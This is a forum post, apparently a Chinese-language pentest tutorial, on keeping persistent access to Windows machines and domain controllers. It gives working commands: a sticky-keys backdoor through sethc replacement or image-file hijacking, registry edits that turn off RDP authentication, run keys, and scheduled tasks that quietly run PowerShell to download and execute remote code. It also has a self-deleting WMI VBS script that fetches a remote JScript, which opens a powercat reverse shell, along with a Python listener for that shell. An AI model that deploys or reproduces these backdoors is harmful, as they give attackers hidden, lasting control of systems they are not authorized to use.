taibeihacker
Moderator
权限维持
1 操作系统后门
1.1 粘滞键后门
1.1.1 传统方法
在windows/system32 下,直接將sethc 程序替換成cmd.exe如果目標機是windows vista 以上的,即windows vista 以後出的系統,修改sethc 會提示需要trustedinstaller 權限,trustedinstaller 是一個安全機制,即係統的最高權限,權限比administrator 管理員高.
windows 權限分為三種從低到高依次是user,administrator,system。而trustedinstaller 比administrator 高但沒有system 高,這麼做的好處是避免了一些惡意軟件修改系統文件的可能,壞處就是自己不能直接操作了,所以要先修改sethc 需要將其所有者改為改為我們當前管理員用戶。

在該所有者之前,直接編輯其權限都是灰色的,不能修改,有了所有權之後,便可以編輯其權限,這裡需要給予自己權限,如下圖:

這時可以重命名,也可以直接刪除,然後復制cmd 修改sethc 即可,然後在鎖屏沒有密碼情況下,可以直接按5 下shift 調出cmd,執行添加新用戶等操作,如下圖:
1.1.2 新方法
新方法設置粘滯鍵後門是通過註冊表來實現,整體的方法思路就是通過修改註冊表的映像劫持和打開其遠程桌面來實現。1
REG ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' /v Debugger /t REG_SZ /d 'C:\windows\system32\cmd.exe'
命令说明:reg add 是向註冊表添加記錄,後面跟的是註冊表的位置,這裡需要注意的是HKLM 實際上是HKEY_LOCAL_MACHINE 的縮寫。 Image File Execution Option 這個目錄就是用來設置鏡像劫持的,要被劫持的就是命令中的sethc 粘滯鍵程序,隨後通過/v 來指定鍵名,這個鍵名debugger 是固定的,然後通過/t 來指定類型,即REG_SZ 字符串類型,最後通過/d 來指定鍵的值,即被惡意替換的程序,也就是我們的cmd。
設置完鏡像劫持後就已經有了我們舊方法中直接替換sethc 程序的效果,但我們為了方便利用,可以開啟目標機的遠程桌面,這裡我們也通過註冊表來設置一下,需要設置兩個參數。

1.1.2.1 关闭 RDP 用户鉴定选项
第一個是把遠程桌面鏈接的用戶鑑定選項設置為關閉狀態,即值為0,命令行運行以下命令:1
REG ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' /v UserAuthentication /t REG_DWORD /d 0
用戶鑑權即userauthentication 這個參數的作用:
0 的說明是進行遠程桌面前不需要用戶身份驗證,還是默認值,1 說明的是進行遠程桌面前需要進行用戶身份驗證。為了更好的理解,我們來看下他們的區別,下面是userauthentication 為1 的時候:

當userauthentication 為1 時即遠程桌面前進行用戶身份驗證,這時候遠程鏈接輸入ip 後會要求輸入用戶名和密碼,輸入用戶名不輸入密碼直接點連接會提示身份驗證錯誤。而當userauthentication 為0 時,即連接前不進行身份驗證,這時候輸入用戶名不輸入密碼點連接會直接到遠程桌面的鎖屏那一步。所以設置為0 我們可以直接到目標的鎖屏然後調起cmd。
注:在windows server 2012 上默認為0
1.1.2.2 更改 RDP 安全层设置
第二個是把遠程桌面連接的安全層設置為0,命令行運行以下命令:1
REG ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' /v SecurityLayer /t REG_DWORD /d 0
0 就是連接前使用RDP 協議進行身份驗證,RDP 即遠程桌面連接,可以簡單理解為就是關閉驗證。 1 是指在連接前兩端協商來進行身份驗證,這個是默認值。 2 就是使用tls 協議來進行。來看下0 和1 的區別:

在userauthentication 用戶鑑權為0 的情況下,securitylayer 安全層為1 的時候是點擊連接後輸入用戶名然後再點連接到目標桌面,而把securitylayer 改為0 時,點擊連接,會直接到用戶的鎖屏桌面,省去了輸入憑證那一步。所以我們設置為0,可以直接跳到鎖屏桌面調cmd。
注:在windows server 2012 上默認為1
1.1.3 测试结果
經過測試,在win10 上RDP 連接斷開時msf 的會話立刻斷開,在windows server 2008 上成功。1.2 注册表后门
Run:該項下的鍵值即為開機啟動項位置:
1
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
msf 下的命令:
1
use exploit/windows/local/persistence
1.3 计划任务后门
schtasks/Create 創建新任務。
/Delete 刪除計劃任務。
/Query 顯示所有計劃任務。
/Change 更改計劃任務屬性。
/Run 按需運行計劃任務。
/End 中止當前正在運行的計劃任務。
/ShowSid 顯示與計劃的任務名稱相應的安全標識符。
1
2
3
4
5
6
7
8
9
10
11
12
13
# schtasks 命令
# 每天晚上03:30 定時執行
schtasks /create /tn 'TimedTask1' /tr C:\Users\Administrator\Desktop\TimedTask\Run.bat /sc DAILY /st 03:30
# statement A
# 查詢創建的任務
schtasks /query /tn TimedTask1 /v
# 立即運行創建的任務
schtasks /run /tn TimedTask1
# 刪除任務
schtasks /delete /tn TimedTask1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#(X64) - On System Start
schtasks /create /tn PentestLab /tr 'c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onstart /ru System
#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr 'c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onidle /i 30
#(X86) - On User Login
schtasks /create /tn PentestLab /tr 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onlogon /ru System
#(X86) - On System Start
schtasks /create /tn PentestLab /tr 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onstart /ru System
#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onidle /i 30
1.4 wmi 无文件后门
evil3.vbs - 惡意VBS腳本。創建事件過濾器,捕獲賬戶成功登陸的事件;創建活動腳本事件消費者,捕獲到事件後執行遠程腳本pnc.js;綁定過濾器和消費者。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
nslink='winmgmts:\\.\root\subscription:'
qstr='select * from __InstanceCreationEvent within 5 ' '每5秒查詢一次“實例創建事件”'
qstr=qstr'where targetinstance isa 'win32_NTLogEvent' and '
qstr=qstr'targetinstance.EventCode='4624' ' '實例名是win32_NTLogEvent'
set evtflt=getobject(nslink'__EventFilter').spawninstance_ '創建事件過濾器'
evtflt.name='filtP1' '定義過濾器的名字'
evtflt.EventNameSpace='root\cimv2'
evtflt.query=qstr '定義查詢語句'
evtflt.querylanguage='wql' '定義查詢語言(只能是wql)'
set fltpath=evtflt.put_ '註冊過濾器,返回其鏈接'
set asec=getobject(nslink'ActiveScriptEventConsumer').spawninstance_ '創建“活動腳本事件消費者”'
asec.name='consP1' '定義消費者的名字'
asec.scriptingengine='JScript' '定義腳本語言
asec.ScriptText='GetObject(''script:http://192.168.41.1:8080/pnc.js'')'
set asecpath=asec.put_ '註冊消費者,返回其鏈接'
set fcbnd=getobject(nslink'__FilterToConsumerBinding').spawninstance_ '創建過濾器和消費者的綁定'
fcbnd.filter=fltpath.path '指定過濾器'
fcbnd.consumer=asecpath.path '指定消費者'
fcbnd.put_ '執行綁定'
dim fso
set fso=CreateObject('Scripting.FileSystemObject')
evilname=left(wscript.scriptfullname,instrrev(wscript.scriptfullname,'\'))
evilname=evilname fso.GetFile(Wscript.scriptfullname).name
fso.DeleteFile(evilname) 'vbs刪除自己
pnc.js - 服務端惡意腳本。下載powercat.ps1,並使用其返回shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
?xml version='1.0'?
package
component id='testCalc'
script language='JScript'
var r=new ActiveXObject('WScript.Shell').Run('powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.41.1:8080/powercat-master/powercat.ps1');powercat -c 192.168.41.1 -p 6999 -e cmd');
/script
/component
/package
shell_server.py - 服務端監聽shell的腳本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
import re
pattern=re.compile(r'[A-Z]:\\.*?')
def recv_end(the_socket):
total_data=[]
data=b''
while True:
data=the_socket.recv(1024)
#print(data)
if not data:
raise ConnectionAbortedError
data=str(data, encoding='gbk')
total_data.append(data)
if pattern.search(data, re.M):
break
if len(total_data) 1:
last_pair=total_data[-2] + total_data[-1]
if pattern.search(last_pair, re.M):
break
return ''.join(total_data)
# 建立一個服務端
server=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port=6999
server.bind(('192.168.41.1', port)) #綁定要監聽的端口
server.listen(5) #開始監聽表示可以使用五個鏈接排隊
while True:# conn就是客戶端鏈接過來而在服務端為期生成的一個鏈接實例
print('------------Listening on {}------------'.format(port))
conn, addr=server.accept() #等待鏈接,多個鏈接的時候就會出現問題,其實返回了兩個值
print(conn)
while True:
try:
se=input(recv_end(conn))
if not se:
se='\r\n'
#print(bytes(se, encoding='utf8'))
conn.send(bytes(se, encoding='utf-8')) #然後再發送數據
except BaseException as e:
print('\n' + addr[0] + ':' + str(addr[1]) + '已關閉')
break
conn.close() # 關閉連接
powercat.ps1 - powershell版netcat。 (https://github.com/besimorhino/powercat)
clean.ps1 - 清除evil3.vbs創建的過濾器、消費者、綁定器。
1
2
3
4
5
6
7
8
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter 'Name='filtP1'' | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter 'Name='consP1'' | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter '__Path LIKE '%filtP1%'' | Remove-WmiObject -Verbose
2 域控后门
2.1 DSRM 后门
DSRM(Directory Services Restore Mode) 是Windows 域環境中域控制器的安全模式啟動選項。每個域控制器有一個本地管理员賬號(也就是DSRM 賬號)。 DSRM 的用途是:允許管理員在域環境出現故障或崩潰時還原、修復、重建活動目錄數據庫,使域環境的運行恢復正常。在域環境創建初期,DSRM 的密碼需要在安裝DC 時設置,且很少會被重置。修改DSRM 密碼最基本的方法是在DC 上運ntdsutil 行命令。在滲透測試中,可以使用DSRM 賬號對域環境進行持久化操作。如果域控制器的系統版本為Windows Server 2008,則需要安裝KB96132 補丁才可以使用指定域賬號的密碼對DSRM 的密碼進行同步。